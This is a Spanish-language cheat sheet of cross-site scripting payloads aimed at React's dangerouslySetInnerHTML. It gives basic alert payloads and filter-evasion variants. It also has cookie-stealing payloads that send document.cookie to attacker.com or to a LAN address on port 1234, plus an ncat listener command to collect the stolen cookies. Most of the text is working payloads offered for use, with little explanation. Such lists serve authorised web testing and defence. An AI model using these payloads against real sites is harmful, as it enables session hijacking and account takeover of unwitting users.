El Cross-Site Scripting (XSS) es una vulnerabilidad que permite a un atacante inyectar código JavaScript malicioso en una página web, de modo que éste se ejecute en el navegador de otros usuarios. A partir de ahí se pueden robar cookies de sesión, suplantar al usuario o manipular el contenido que ve la víctima.
Esta nota recopila payloads prácticos, ordenados por su finalidad: pruebas básicas, evasión de filtros y exfiltración de cookies. Muchos están pensados para contextos donde el HTML se inserta directamente en el DOM (por ejemplo, dangerouslySetInnerHTML en React).
Payloads básicos para dangerouslySetInnerHTML (HTML + JS embebido)
- Alerta con imagen (onerror)
<img src=x onerror=alert('XSS')>- Etiqueta
<iframe>con src javascript: (algunos navegadores bloquean)
<iframe src="javascript:alert('XSS')"></iframe>- Etiqueta
<body>con evento onload (en algunos contextos funciona)
<body onload=alert('XSS')>- Etiqueta
<video>con evento onerror
<video src=x onerror=alert('XSS')></video>- Etiqueta
<audio>con evento onerror
<audio src=x onerror=alert('XSS')></audio>- Etiqueta
<math>con evento onload
<math href="javascript:alert('XSS')"></math>- Etiqueta
<details>con atributo open y evento ontoggle
<details open ontoggle=alert('XSS')></details>- Etiqueta
<style>con expresión CSS que dispara alertas (más raro y limitado)
<style>@import 'javascript:alert("XSS")';</style>Payloads más complejos para evadir filtros
- Uso de comillas diferentes en eventos inline
<img src=x onerror="alert('XSS')">- Uso de comentarios para evadir filtros
<img src=x onerror=alert(/*comment*/'XSS')>- Uso de cadenas codificadas en UTF-8 para evadir filtros
<img src=x onerror=alert('\x58\x53\x53')>- Uso de minúsculas y mayúsculas mezcladas
<IMG SRC=x OnErRoR=alert('XSS')>Payloads para robar cookies (si es posible)
- Inyección de imagen que exfiltra la cookie mediante una URL
<img src="x" onerror="new Image().src='http://attacker.com/log?c='+document.cookie">- Script para enviar la cookie con fetch (requiere etiquetas script permitidas)
<script>fetch('http://attacker.com/log?c='+document.cookie)</script>Este método es más directo, pero suele quedar bloqueado por la CSP o por filtros de etiquetas en campos que no permiten <script>.
- Inyección de una imagen con evento onerror para exfiltrar cookies
<img src="x" onerror="new Image().src='http://192.168.1.5:1234/?cookie=' + document.cookie">Con este método, el atacante recibe las cookies de la víctima en su máquina, siempre que tenga el puerto 1234 a la escucha con netcat:
ncat -nlvp 1234Nota: si <script> no funciona (por la CSP o por React), recurre a eventos inline como onerror.
Consideraciones
El payload <script>alert('XSS')</script> normalmente no funciona con dangerouslySetInnerHTML en React, porque React no ejecuta las etiquetas <script> insertadas de esa forma.
Por eso los payloads basados en eventos inline (onerror, onload, onclick, etc.) suelen dar mejores resultados.
Además, algunos navegadores y políticas de seguridad modernas bloquean ciertos payloads, así que conviene probar varios antes de descartar la inyección.